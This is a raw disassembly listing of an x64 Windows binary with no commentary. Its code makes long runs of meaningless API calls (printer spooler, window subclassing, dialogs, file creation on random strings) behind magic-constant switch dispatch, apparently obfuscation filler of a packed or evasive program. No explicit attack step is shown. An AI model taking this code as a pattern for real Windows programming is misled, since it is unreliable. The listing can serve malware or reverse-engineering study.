lea rcx, [0x140000000]
movzx eax, byte [rcx + rax + 0x19fd80]
mov eax, dword [rcx + rax*4 + 0x19fd64]
add rax, rcx
jmp rax
movzx eax, word [rsp + 0x6d8]
movzx ecx, word [rsp + 0xf00]
add eax, ecx
mov word [rsp + 0xf0c], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x9328], rax
movzx eax, byte [rsp + 0x270]
movzx ecx, byte [rsp + 0x26f]
add eax, ecx
mov byte [0x140221038], al
mov eax, dword [rsp + 0x4668]
mov dword [rsp + 0x4890], eax
movsx eax, word [rsp + 0xe6c]
movsx ecx, word [rsp + 0xa54]
add eax, ecx
mov word [rsp + 0xb4c], ax
lea rcx, [rsp + 0x8ee8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rax, [rsp + 0x8b08]
mov qword [rsp + 0x9330], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x8e38], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
jmp case.0x14003e882.10
lea rax, [rsp + 0x1a2e0]
mov qword [rsp + 0x20], rax
mov r9d, 0xa6
lea r8, [rsp + 0x272]
mov edx, 0x6f
mov rcx, qword [rsp + 0x9338]
call sub.WINSPOOL.DRV_GetPrinterW
mov dword [rsp + 0x46b0], eax
lea rax, [rsp + 0x8e18]
mov qword [rsp + 0x20], rax
mov r9d, 0xdb
mov r8, qword [rsp + 0x9340]
mov rdx, qword [rsp + 0x9260]
mov rcx, qword [rsp + 0x8ff8]
call sub.WINSPOOL.DRV_EnumPrinterKeyW
mov dword [rsp + 0x46d4], eax
mov r9d, 0x5d
lea r8, [rsp + 0x8be0]
xor edx, edx
mov rcx, qword [rsp + 0x9348]
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [rsp + 0x4894], eax
lea r8, [rsp + 0x1a278]
xor edx, edx
mov rcx, qword [rsp + 0x8fb8]
call sub.COMCTL32.dll_RemoveWindowSubclass
mov dword [rsp + 0x4688], eax
mov dword [rsp + 0x20], 0xf9
lea r9, [rsp + 0x8b08]
mov r8d, 0x44
mov edx, 0x78
mov rcx, qword [rsp + 0x9350]
call sub.WINSPOOL.DRV_SetJobW
mov dword [rsp + 0x4858], eax
mov rax, qword [rsp + 0x9160]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x275]
sub eax, ecx
mov rcx, qword [rsp + 0x8ef0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x26a]
mov rcx, qword [rsp + 0x8f18]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xee], al
mov edx, 0x12
lea rcx, [rsp + 0x4738]
call qword [sym.imp.GDI32.dll_CreateDIBPatternBrushPt]
mov qword [rsp + 0x9098], rax
jmp case.0x14003e882.10
movzx eax, word [rsp + 0xf04]
movzx ecx, word [rsp + 0x6d8]
shl eax, cl
mov word [rsp + 0xf0c], ax
mov r8d, 1
mov rdx, qword [rsp + 0x8ec8]
mov rcx, qword [rsp + 0x8c80]
call qword [sym.imp.COMCTL32.dll_LBItemFromPt]
mov dword [rsp + 0x46c4], eax
mov qword [rsp + 0x20], 0x68
mov r9, qword [rsp + 0x9358]
mov r8, qword [rsp + 0x8fc0]
mov rdx, qword [rsp + 0x8c00]
mov rcx, qword [rsp + 0x8be8]
call qword [sym.imp.USER32.dll_CreateDialogParamW]
mov qword [rsp + 0x9360], rax
movzx eax, byte [0x140221038]
movzx ecx, byte [rsp + 0x1d3]
sar eax, cl
mov rcx, qword [rsp + 0x9218]
mov byte [rcx], al
mov eax, dword [rsp + 0x46d4]
mov dword [rsp + 0x4774], eax
jmp case.0x14003e882.10
lea rax, [rsp + 0xb4c]
mov qword [rsp + 0x20], rax
mov r9d, 0xb6
mov r8, qword [rsp + 0x91d8]
mov rdx, qword [rsp + 0x8e88]
mov rcx, qword [rsp + 0x92c0]
call sub.WINSPOOL.DRV_EnumPrinterKeyW
mov dword [rsp + 0x474c], eax
mov qword [rsp + 0x20], 0xdc
mov r9, qword [rsp + 0x8ba8]
mov r8, qword [rsp + 0x8fe8]
mov rdx, qword [rsp + 0x9368]
mov rcx, qword [rsp + 0x8bb0]
call qword [sym.imp.USER32.dll_CreateDialogParamW]
mov qword [rsp + 0x9370], rax
mov qword [rsp + 0x20], 0xa6
mov r9, qword [rsp + 0x9378]
mov r8, qword [rsp + 0x9030]
mov rdx, qword [rsp + 0x9240]
mov rcx, qword [rsp + 0x8bd0]
call qword [sym.imp.USER32.dll_DialogBoxParamW]
mov dword [rsp + 0x4898], eax
mov rax, qword [rsp + 0x8e10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x483c]
or ecx, eax
mov eax, ecx
mov dword [0x14024f3b8], eax
lea rax, [rsp + 0xb4c]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xd5
lea r9, [rsp + 0x8e08]
mov r8d, 7
mov rdx, qword [rsp + 0x9140]
mov rcx, qword [rsp + 0x91e0]
call sub.WINSPOOL.DRV_GetFormW
mov dword [rsp + 0x489c], eax
mov r8d, 1
mov rdx, qword [rsp + 0x8ec8]
mov rcx, qword [rsp + 0x9380]
call qword [sym.imp.COMCTL32.dll_LBItemFromPt]
mov dword [rsp + 0x4314], eax
mov rax, qword [rsp + 0x8ce8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4744]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8e00]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8f98]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9160]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x271], al
mov r9d, 0xfb
mov r8d, 0xcb
mov edx, 0x18
mov rcx, qword [rsp + 0x9018]
call sub.COMCTL32.dll_DefSubclassProc
mov qword [rsp + 0x8c20], rax
lea rax, [rsp + 0x9080]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0xc7
lea rax, [rsp + 0x1a328]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x1ef20]
mov r8, qword [rsp + 0x8b38]
mov rdx, qword [rsp + 0x9150]
mov rcx, qword [rsp + 0x9388]
call sub.WINSPOOL.DRV_GetPrinterDataExW
mov dword [rsp + 0x4800], eax
mov r8d, 1
mov rdx, qword [rsp + 0x9390]
mov rcx, qword [rsp + 0x92b0]
call qword [sym.imp.COMCTL32.dll_LBItemFromPt]
mov dword [rsp + 0x48a0], eax
mov rax, qword [rsp + 0x9170]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe6c]
sub eax, ecx
mov word [rsp + 0xef0], ax
jmp case.0x14003e882.10
lea rax, [rsp + 0x8f20]
mov qword [rsp + 0x20], rax
mov r9d, 0xa7
mov r8, qword [rsp + 0x8c40]
mov rdx, qword [rsp + 0x9240]
mov rcx, qword [rsp + 0x8b48]
call sub.WINSPOOL.DRV_EnumPrinterKeyW
mov dword [rsp + 0x4738], eax
mov edx, 0x1d
mov rcx, qword [rsp + 0x8d70]
call sub.WINSPOOL.DRV_ConnectToPrinterDlg
mov qword [rsp + 0x9398], rax
movzx eax, word [rsp + 0xf00]
movzx ecx, word [rsp + 0xf04]
add eax, ecx
mov rcx, qword [rsp + 0x8e58]
mov word [rcx], ax
mov rax, qword [rsp + 0x8e10]
mov rcx, qword [rsp + 0x8e60]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x465c], eax
lea r8, [rsp + 0x487c]
xor edx, edx
mov rcx, qword [rsp + 0x9370]
call sub.COMCTL32.dll_RemoveWindowSubclass
mov dword [rsp + 0x47b0], eax
lea rax, [rsp + 0x8f20]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x35
lea r9, [rsp + 0x4434]
lea r8, [rsp + 0x1a258]
mov rdx, qword [rsp + 0x9238]
mov rcx, qword [rsp + 0x8ea0]
call sub.WINSPOOL.DRV_GetPrinterDataW
mov dword [rsp + 0x48a4], eax
mov dword [rsp + 0x20], 0x7b
lea r9, [rsp + 0x9218]
mov r8d, 0x19
lea rdx, [rsp + 0x8110]
mov rcx, qword [rsp + 0x93a0]
call sub.WINSPOOL.DRV_FlushPrinter
mov dword [rsp + 0x4854], eax
jmp case.0x14003e882.10
mov rax, qword [rsp + 0x8e18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x276]
add eax, ecx
mov byte [rsp + 0x1d3], al
call qword [sym.imp.USER32.dll_GetCaretBlinkTime]
mov dword [rsp + 0x48a8], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8f78], rax
mov rax, qword [rsp + 0x9010]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8110]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8cf8]
mov qword [rcx], rax
mov r9d, 0x1549
xor r8d, r8d
lea rdx, [rsp + 0x9328]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x46f8], eax
mov rax, qword [rsp + 0x8e30]
mov rcx, qword [rsp + 0x80e0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7f10], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
lea rax, [0x14024f3c8]
mov qword [0x14024f3b0], rax
lea rcx, str.Qr4_Ku_K5L9NcaIKAbPj6
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xf1c], ax
lea rcx, [rsp + 0x8d40]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
movzx ecx, word [rsp + 0xee4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xef8], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x93a8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov rax, qword [rsp + 0x8d38]
mov rax, qword [rax]
mov qword [rsp + 0x93b0], rax
lea rcx, [rsp + 0x1a408]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x8ce8]
mov eax, dword [rax]
mov dword [rsp + 0x48ac], eax
cmp dword [rsp + 0x48ac], 0xe124a447
je 0x14003efbb
cmp dword [rsp + 0x48ac], 0x3809bce
je 0x14003f121
cmp dword [rsp + 0x48ac], 0x2b0566e1
je 0x14003f32c
jmp 0x14003f50d
lea rax, [rsp + 0x474c]
mov qword [rsp + 0x93b8], rax
mov rax, qword [rsp + 0x8f10]
mov rcx, qword [rsp + 0x9208]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9330]
mov qword [rcx], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.ioqyplQcifsezIbcxU
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x93c0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
lea rax, [rsp + 0xe6c]
mov qword [rsp + 0x93c8], rax
lea rcx, [rsp + 0x1a3a8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx ecx, word [rsp + 0xee0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf14], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.HDrMCBpgPUL_sfNCsHhbdM_a72M1
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x93d0], rax
lea rax, [rsp + 0x273]
mov qword [rsp + 0x93d8], rax
lea rax, [rsp + 0x4884]
mov qword [rsp + 0x93e0], rax
movzx eax, byte [rsp + 0x26f]
mov rcx, qword [rsp + 0x8f18]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x26a], al
lea rax, [rsp + 0xf04]
mov qword [rsp + 0x93e8], rax
mov dword [rsp + 0x20], 0x16b4
mov r9d, 0xf18
mov r8d, 0x1725
mov edx, 0x1961
mov rcx, qword [rsp + 0x8c98]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x46fc], eax
jmp 0x14003f67c
movzx eax, word [rsp + 0xf0c]
movzx ecx, word [rsp + 0xeec]
or eax, ecx
mov rcx, qword [0x14024f3b0]
mov word [rcx], ax
lea rax, [rsp + 0xee]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x8f18]
mov qword [rsp + 0x20], rax
mov r9d, 0xb5
lea r8, [rsp + 0x272]
mov rdx, qword [rsp + 0x93f0]
mov rcx, qword [rsp + 0x8c50]
call sub.WINSPOOL.DRV_EnumPrinterDataExW
mov dword [rsp + 0x46d4], eax
movzx eax, byte [rsp + 0x26a]
mov rcx, qword [rsp + 0x8f18]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x270], al
mov r8d, 1
mov rdx, qword [rsp + 0x9390]
mov rcx, qword [rsp + 0x93f8]
call qword [sym.imp.COMCTL32.dll_LBItemFromPt]
mov dword [rsp + 0x4684], eax
lea rax, [rsp + 0x9400]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x92a8]
mov qword [rsp + 0x20], rax
mov r9d, 0xf1
lea r8, [rsp + 0x8fd0]
mov edx, 0x98
mov rcx, qword [rsp + 0x9408]
call sub.WINSPOOL.DRV_EnumFormsW
mov dword [rsp + 0x48b0], eax
lea rax, [rsp + 0x4774]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x3f
lea r9, [rsp + 0xf00]
mov r8d, 0xf7
mov edx, 7
mov rcx, qword [rsp + 0x9410]
call sub.WINSPOOL.DRV_GetJobW
mov dword [rsp + 0x4894], eax
mov edx, 0xfb
mov ecx, 0xf7
call qword [sym.imp.GDI32.dll_CreateHatchBrush]
mov qword [rsp + 0x8f30], rax
movzx eax, word [rsp + 0xf04]
mov rcx, qword [rsp + 0x93e8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xf0c], ax
movsx eax, word [rsp + 0xef0]
movsx ecx, word [0x14024f3be]
sar eax, cl
mov rcx, qword [rsp + 0x9170]
mov word [rcx], ax
lea rcx, [rsp + 0x1edf0]
call qword [sym.imp.COMCTL32.dll_PropertySheetW]
mov dword [rsp + 0x48b4], eax
mov r9d, 0xbe
mov r8d, 0x56
mov rdx, qword [rsp + 0x9418]
mov rcx, qword [rsp + 0x8da8]
call qword [sym.imp.USER32.dll_CreateCaret]
mov dword [rsp + 0x4660], eax
movsx eax, byte [rsp + 0x272]
mov rcx, qword [rsp + 0x93d8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x275], al
mov dword [rsp + 0x28], 0xd7
lea rax, [rsp + 0xb4c]
mov qword [rsp + 0x20], rax
mov r9d, 0xc1
mov r8, qword [rsp + 0x8e88]
mov rdx, qword [rsp + 0x8b38]
mov rcx, qword [rsp + 0x8cc0]
call sub.WINSPOOL.DRV_SetPrinterDataExW
mov dword [rsp + 0x48b8], eax
jmp 0x14003f67c
lea r8, [rsp + 0x1ed30]
xor edx, edx
mov rcx, qword [rsp + 0x9420]
call sub.COMCTL32.dll_RemoveWindowSubclass
mov dword [rsp + 0x4790], eax
mov edx, 0xc6
mov rcx, qword [rsp + 0x9428]
call sub.WINSPOOL.DRV_ConnectToPrinterDlg
mov qword [rsp + 0x90a8], rax
mov r9d, 0xbc
mov r8d, 0x8d
mov rdx, qword [rsp + 0x9430]
mov rcx, qword [rsp + 0x8fb8]
call qword [sym.imp.USER32.dll_CreateCaret]
mov dword [rsp + 0x46b4], eax
mov r8d, 0x12
mov rdx, qword [rsp + 0x8fe8]
mov rcx, qword [rsp + 0x9420]
call qword [sym.imp.COMCTL32.dll_DrawInsert]
mov eax, dword [rsp + 0x4890]
mov ecx, dword [rsp + 0x47c4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x93e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x91f0]
mov rcx, qword [rsp + 0x8d38]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8e30], rax
mov edx, 0x54
mov rcx, qword [rsp + 0x9438]
call sub.WINSPOOL.DRV_ConnectToPrinterDlg
mov qword [rsp + 0x9110], rax
mov rax, qword [rsp + 0x8e58]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf04]
add eax, ecx
mov word [rsp + 0xf00], ax
mov dword [rsp + 0x20], 0xc3
lea r9, [rsp + 0x93d8]
mov r8d, 0xa7
mov rdx, qword [rsp + 0x8d90]
mov rcx, qword [rsp + 0x9440]
call sub.WINSPOOL.DRV_SetPrinterDataW
mov dword [rsp + 0x48bc], eax
lea rdx, [rsp + 0x1a310]
mov rcx, qword [rsp + 0x9448]
call sub.WINSPOOL.DRV_ResetPrinterW
mov dword [rsp + 0x4790], eax
movzx eax, byte [rsp + 0x26f]
movzx ecx, byte [rsp + 0x270]
add eax, ecx
mov rcx, qword [rsp + 0x8e78]
mov byte [rcx], al
mov rax, qword [rsp + 0x8e60]
mov ecx, dword [rsp + 0x4670]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14024f3b8], eax
lea rdx, [rsp + 0x1f2a0]
mov rcx, qword [rsp + 0x9450]
call sub.MAGNIFICATION.dll_MagGetColorEffect
mov dword [rsp + 0x48c0], eax
mov edx, 0x47
mov rcx, qword [rsp + 0x9280]
call sub.WINSPOOL.DRV_ConnectToPrinterDlg
mov qword [rsp + 0x9458], rax
mov dword [rsp + 0x20], 0x41
lea r9, [rsp + 0x90f0]
mov r8d, 0xe3
lea rdx, [rsp + 0x9330]
mov rcx, qword [rsp + 0x9460]
call sub.WINSPOOL.DRV_FlushPrinter
mov dword [rsp + 0x4804], eax
jmp 0x14003f67c
mov rax, qword [rsp + 0x8410]
mov rcx, qword [rsp + 0x7b18]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9208], rax
lea rax, [rsp + 0x8e18]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x9080]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0xe9
lea rax, [rsp + 0x92a8]
mov qword [rsp + 0x20], rax
mov r9d, 0xb1
mov r8d, 0x97
mov edx, 0x37
mov rcx, qword [rsp + 0x9468]
call sub.WINSPOOL.DRV_EnumJobsW
mov dword [rsp + 0x4860], eax
lea rax, [rsp + 0x8f98]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x9348]
mov qword [rsp + 0x20], rax
mov r9d, 0x98
lea r8, [rsp + 0x8c20]
mov edx, 0x67
mov rcx, qword [rsp + 0x9408]
call sub.WINSPOOL.DRV_EnumFormsW
mov dword [rsp + 0x47b0], eax
mov rax, qword [rsp + 0x8e30]
mov rcx, qword [rsp + 0x8f60]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x91f0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8ce8]
mov ecx, dword [rsp + 0x4864]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4648], eax
lea r8, [rsp + 0x8d68]
xor edx, edx
mov rcx, qword [rsp + 0x91c0]
call sub.COMCTL32.dll_RemoveWindowSubclass
mov dword [rsp + 0x46d8], eax
mov edx, LBItemFromPt
mov ecx, 0xe1
call qword [sym.imp.GDI32.dll_CreateHatchBrush]
mov qword [rsp + 0x9470], rax
mov dword [rsp + 0x20], 0x21
lea r9, [rsp + 0x9170]
mov r8d, reloc.COMCTL32.dll_LBItemFromPt
mov edx, 0xa0
mov rcx, qword [rsp + 0x8fe0]
call sub.WINSPOOL.DRV_SetJobW
mov dword [rsp + 0x4848], eax
movsx eax, byte [rsp + 0x275]
mov rcx, qword [rsp + 0x9160]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x273], al
mov rax, qword [rsp + 0x80e0]
mov qword [rsp + 0x9478], rax
movabs rax, 0x7818057ffb2239
cmp qword [rsp + 0x9478], rax
jg 0x14003f705
movabs rax, 0x7818057ffb2239
cmp qword [rsp + 0x9478], rax
je 0x14003f840
movabs rax, 0x74babafdcff379
cmp qword [rsp + 0x9478], rax
je 0x14003fe6d
movabs rax, 0x75f5dba4af6b79
cmp qword [rsp + 0x9478], rax
je 0x14003fa1f
movabs rax, 0x769ba59c46a8ae
cmp qword [rsp + 0x9478], rax
je 0x14003fb7c
jmp 0x14003ffd9
movabs rax, 0x7b9a101c855be1
cmp qword [rsp + 0x9478], rax
je 0x14003fde2
movabs rax, 0x1dcf31db67c8390
cmp qword [rsp + 0x9478], rax
je 0x14003f736
jmp 0x14003ffd9
mov rax, qword [rsp + 0x93c8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9170]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xef0], ax
mov rax, qword [rsp + 0x8e60]
mov eax, dword [rax]
mov dword [rsp + 0x47d0], eax
mov edx, 0xff5
mov rcx, qword [rsp + 0x93a8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x48c4], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov rax, qword [rsp + 0x93e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8e68]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x7a0], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
xor r8d, r8d
mov edx, 0x40
lea rcx, [rsp + 0x1f5c0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x46c0], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rcx, qword [rsp + 0x9070]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x46ec], eax
mov rcx, qword [rsp + 0x8ce0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, byte [rsp + 0x26f]
movzx ecx, byte [rsp + 0x270]
or eax, ecx
mov byte [rsp + 0x274], al
lea rcx, [rsp + 0x1a438]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
jmp 0x14003ffd9
lea rcx, [rsp + 0x1ef90]
call sub.MAGNIFICATION.dll_MagGetFullscreenColorEffect
mov dword [rsp + 0x48c8], eax
mov r9d, 0x47
lea r8, [rsp + 0x93b8]
mov edx, 0xa1
mov rcx, qword [rsp + 0x92c0]
call sub.WINSPOOL.DRV_SetPrinterW
mov dword [rsp + 0x46a4], eax
mov rax, qword [rsp + 0x93e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf00]
sar eax, cl
mov rcx, qword [0x14024f3b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x91f0]
mov rcx, qword [rsp + 0x9010]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8e30], rax
mov edx, 0x31
mov rcx, qword [rsp + 0x9480]
call sub.WINSPOOL.DRV_ConnectToPrinterDlg
mov qword [rsp + 0x8c88], rax
call qword [sym.imp.USER32.dll_GetCaretBlinkTime]
mov dword [rsp + 0x4670], eax
lea rax, [rsp + 0x8b08]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x1ed90]
mov qword [rsp + 0x20], rax
mov r9d, 0x39
lea r8, [rsp + 0x1a340]
mov rdx, qword [rsp + 0x9488]
mov rcx, qword [rsp + 0x8cc0]
call sub.WINSPOOL.DRV_EnumPrinterDataExW
mov dword [rsp + 0x4654], eax
movzx eax, word [rsp + 0xf00]
movzx ecx, word [0x14024f3c8]
and eax, ecx
mov word [rsp + 0xeec], ax
mov r9d, 0x68
mov r8d, 0xd5
mov edx, 0x4e
mov rcx, qword [rsp + 0x90a0]
call sub.COMCTL32.dll_DefSubclassProc
mov qword [rsp + 0x9200], rax
mov rax, qword [rsp + 0x93c8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb4c]
sub eax, ecx
mov rcx, qword [rsp + 0x9170]
mov word [rcx], ax
mov dword [rsp + 0x28], 0x55
lea rax, [rsp + 0x1a328]
mov qword [rsp + 0x20], rax
mov r9d, 0x15
mov r8, qword [rsp + 0x8cb0]
mov rdx, qword [rsp + 0x9490]
mov rcx, qword [rsp + 0x91e8]
call sub.WINSPOOL.DRV_SetPrinterDataExW
mov dword [rsp + 0x48cc], eax
mov rax, qword [rsp + 0x9160]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8ef0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x272], al
lea rax, [rsp + 0x8bd8]
mov qword [rsp + 0x20], rax
mov r9d, 0x2d
mov r8, qword [rsp + 0x9498]
mov rdx, qword [rsp + 0x9100]
mov rcx, qword [rsp + 0x8d78]
call sub.WINSPOOL.DRV_EnumPrinterKeyW
mov dword [rsp + 0x483c], eax
jmp 0x14003ffd9
mov edx, 0x3d
lea rcx, [rsp + 0x8e58]
call qword [sym.imp.GDI32.dll_CreateDIBPatternBrushPt]
mov qword [rsp + 0x8c58], rax
lea rax, [rsp + 0x93c8]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x48b8]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x14
lea rax, [rsp + 0x8f18]
mov qword [rsp + 0x20], rax
mov r9d, 0xa1
mov r8d, 0x19
mov edx, 0x9d
mov rcx, qword [rsp + 0x94a0]
call sub.WINSPOOL.DRV_EnumJobsW
mov dword [rsp + 0x47a4], eax
lea r9, [rsp + 0x270]
mov r8d, 0x6f
mov rdx, qword [rsp + 0x9490]
mov rcx, qword [rsp + 0x94a8]
call sub.WINSPOOL.DRV_SetPortW
mov dword [rsp + 0x4804], eax
mov rax, qword [rsp + 0x8ce8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4764]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4668], eax
mov eax, dword [rsp + 0x4434]
mov ecx, dword [rsp + 0x4768]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x93b8]
mov dword [rcx], eax
mov qword [rsp + 0x20], 0x55
mov r9, qword [rsp + 0x8bd8]
mov r8, qword [rsp + 0x9348]
mov rdx, qword [rsp + 0x94b0]
mov rcx, qword [rsp + 0x8bd0]
call qword [sym.imp.USER32.dll_DialogBoxParamW]
mov dword [rsp + 0x47c4], eax
mov dword [rsp + 0x20], 0x5e
lea r9, [rsp + 0x9170]
mov r8d, 2
mov rdx, qword [rsp + 0x94b8]
mov rcx, qword [rsp + 0x9338]
call sub.WINSPOOL.DRV_SetPrinterDataW
mov dword [rsp + 0x4750], eax
mov rax, qword [rsp + 0x8e18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8f18]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xee], al
jmp 0x14003ffd9
mov qword [rsp + 0x20], 0x42
mov r9, qword [rsp + 0x94c0]
mov r8, qword [rsp + 0x93f8]
mov rdx, qword [rsp + 0x8ea8]
mov rcx, qword [rsp + 0x9040]
call qword [sym.imp.USER32.dll_DialogBoxParamW]
mov dword [rsp + 0x4314], eax
mov dword [rsp + 0x20], 0xc2
lea r9, [rsp + 0x9338]
mov r8d, 0x61
mov edx, 0x9c
mov rcx, qword [rsp + 0x8c50]
call sub.WINSPOOL.DRV_SetJobW
mov dword [rsp + 0x4784], eax
mov r9d, 0xd8
lea r8, [rsp + 0x1a2e0]
mov edx, 0xd2
mov rcx, qword [rsp + 0x9468]
call sub.WINSPOOL.DRV_SetPrinterW
mov dword [rsp + 0x48d0], eax
lea rax, [rsp + 0x8e18]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], 0x5e
lea rax, [rsp + 0x1a288]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x7a0]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x47c4]
mov qword [rsp + 0x20], rax
mov r9d, 0x21
mov r8, qword [rsp + 0x9240]
mov edx, 0xd9
mov rcx, qword [rsp + 0x8b28]
call sub.WINSPOOL.DRV_EnumPrinterDataW
mov dword [rsp + 0x48d4], eax
mov edx, 0x2e
mov ecx, 0xe6
call qword [sym.imp.GDI32.dll_CreateHatchBrush]
mov qword [rsp + 0x9020], rax
mov rax, qword [rsp + 0x8cf8]
mov rcx, qword [rsp + 0x80e0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8d38]
mov qword [rcx], rax
mov rax, qword [0x14022fb60]
mov rcx, qword [rsp + 0x93b0]
sub rcx, rax
mov rax, rcx
mov qword [0x14024f3c0], rax
mov dword [rsp + 0x20], 0x21
lea r9, [rsp + 0x8d38]
mov r8d, 0xed
mov edx, 0x56
mov rcx, qword [rsp + 0x8b28]
call sub.WINSPOOL.DRV_SetJobW
mov dword [rsp + 0x48d8], eax
movzx eax, word [rsp + 0xeec]
mov rcx, qword [rsp + 0x8e58]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x6d8], ax
mov r9d, 0x22
lea r8, [rsp + 0x91f0]
xor edx, edx
mov rcx, qword [rsp + 0x8eb0]
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [rsp + 0x48dc], eax
